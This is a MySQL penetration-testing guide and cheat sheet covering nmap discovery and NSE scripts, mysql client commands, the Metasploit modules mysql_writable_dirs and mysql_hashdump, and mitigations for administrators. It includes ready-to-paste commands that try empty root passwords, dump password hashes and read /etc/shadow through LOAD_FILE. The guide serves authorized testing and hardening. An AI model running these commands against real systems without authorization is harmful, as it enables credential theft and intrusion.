01. MySQL
Overview¶
-
Target port:
3306(default MySQL/MariaDB) -
The
nmap,mysqlclient, and Metasploit commands used for enumeration and authorized testing, explains their purpose, and provides security guidance and mitigations. -
Important: Only run these commands on systems you own or have explicit written permission to test. Unauthorized testing may be illegal.
Quick context¶
-
3306is the standard MySQL port. Both MySQL and MariaDB use it. -
Keep testing non-destructive until you have permission to do deeper testing.
Discovery with nmap¶
Purpose: find open MySQL instance(s) and determine version.
-
-p 3306: scan the MySQL port -
-sV: service/version detection
Example:
MySQL client commands (interactive)¶
Connect (no password):
Connect (with prompt):
Common commands once connected:
SHOW DATABASES; -- list accessible databases
USE <database_name>; -- select a database
SELECT COUNT(*) FROM table; -- row count
SELECT * FROM table LIMIT 10;-- small sample rows
HELP; -- mysql client help
EXIT;/QUIT; -- leave
Caution: SELECT * on large tables can disrupt production; prefer LIMIT or column lists.
Metasploit auxiliary modules (high level)¶
Start:
auxiliary/scanner/mysql/mysql_writable_dirs¶
-
Goal: find directories MySQL can write to (useful for
SELECT ... INTO OUTFILEabuse) -
Typical options:
RHOSTS,DIR_LIST,USERNAME,PASSWORD,VERBOSE
Example:
use auxiliary/scanner/mysql/mysql_writable_dirs
options
set dir_list /path/to/dirlist.txt
setg RHOSTS 10.0.0.5
set VERBOSE false
run
auxiliary/scanner/mysql/mysql_hashdump¶
-
Goal: attempt to extract MySQL password hashes (requires privileges or vulnerability)
-
Typical options:
RHOSTS,USERNAME,PASSWORD
Example:
use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS 10.0.0.5
set USERNAME root
set PASSWORD ""
exploit
Note: These modules help authorized testers; do not use them on unauthorized systems.
Reading files via SQL¶
MySQL may expose files via functions like LOAD_FILE() if the server process has OS-level access and the DB user has permission:
-
Returns
NULLwhen the file is unreadable, missing, or the function is disabled bysecure_file_priv/permissions. -
Admin defense: set
secure_file_priv, restrict file perms, disablelocal_infileif not needed.
Useful nmap NSE scripts for MySQL¶
Use
--script=mysql-*(common prefix). Replace<IP>and credentials as needed.
mysql-info— retrieve server banner/version.
mysql-empty-password— test for accounts with empty passwords.
mysql-users— enumerate users (requires creds if provided).
mysql-databases— list databases (requires creds).
mysql-variables— query server/global variables (e.g.,secure_file_priv).
mysql-audit— run a CIS-style audit file to flag insecure settings.
nmap <IP> -sV -p 3306 --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'"
mysql-dump-hashes— attempt to extract password hashes.
mysql-query— run an arbitrary query non-interactively.
nmap <IP> -sV -p 3306 --script=mysql-query --script-args="query='SELECT COUNT(*) FROM books.authors;',username='root',password=''"
Tip: nmap script names use mysql- prefix (not msql-). Double-check script names if a script is not found.
Example testing workflow (safe order)¶
-
Discovery:
nmap <IP> -sV -p 3306to confirm MySQL presence. -
Non-destructive enumeration:
mysql-info,mysql-variables,mysql-empty-password. -
Credential checks: try the
mysqlclient with known/allowed creds. -
Permission checks:
SHOW DATABASES;,SHOW GRANTS FOR CURRENT_USER;to verify least privilege. -
Controlled probing: with permission, use Metasploit modules and
mysql-queryscript to test file-read or write vectors. -
Report findings and recommended mitigations.
Typical outputs & quick examples¶
-
nmapoutput:3306/tcp open mysql MySQL 8.0.32 -
SELECT LOAD_FILE('/etc/shadow');=> returns file contents orNULLif blocked -
SHOW DATABASES;=> list of DBs (e.g.,information_schema,mysql,appdb)
Security & mitigations¶
For DB admins:
-
Disable remote root login; use app-specific accounts with minimal privileges.
-
Enforce strong passwords; disable empty passwords.
-
Set
secure_file_privto a restricted directory and disablelocal_infileif unused. -
Limit network access with firewall rules (only allow known app servers).
-
Keep MySQL/MariaDB patched.
-
Monitor query logs and set up auditing for suspicious
INTO OUTFILEor file-access functions.
For testers:
-
Obtain explicit written permission.
-
Prefer non-destructive enumeration initially.
-
Avoid exfiltrating sensitive files unnecessarily; use screenshots and hashes for evidence if needed.
Cheatsheet (copy/paste)¶
# discovery
nmap <IP> -sV -p 3306
# nmap scripts
nmap <IP> -sV -p 3306 --script=mysql-info
nmap <IP> -sV -p 3306 --script=mysql-empty-password
nmap <IP> -sV -p 3306 --script=mysql-variables --script-args="mysqluser='root',mysqlpass='pwd'"
# mysql client
mysql -h <IP> -u <user> -p
SHOW DATABASES;
USE <DB>;
SELECT COUNT(*) FROM <TABLE>;
SELECT * FROM <TABLE> LIMIT 10;
SELECT LOAD_FILE('/etc/shadow');
# msfconsole (examples)
msfconsole
use auxiliary/scanner/mysql/mysql_writable_dirs
set dir_list /path/to/dirlist.txt
set RHOSTS <IP>
run
use auxiliary/scanner/mysql/mysql_hashdump
set USERNAME root
set PASSWORD ""
set RHOSTS <IP>
exploit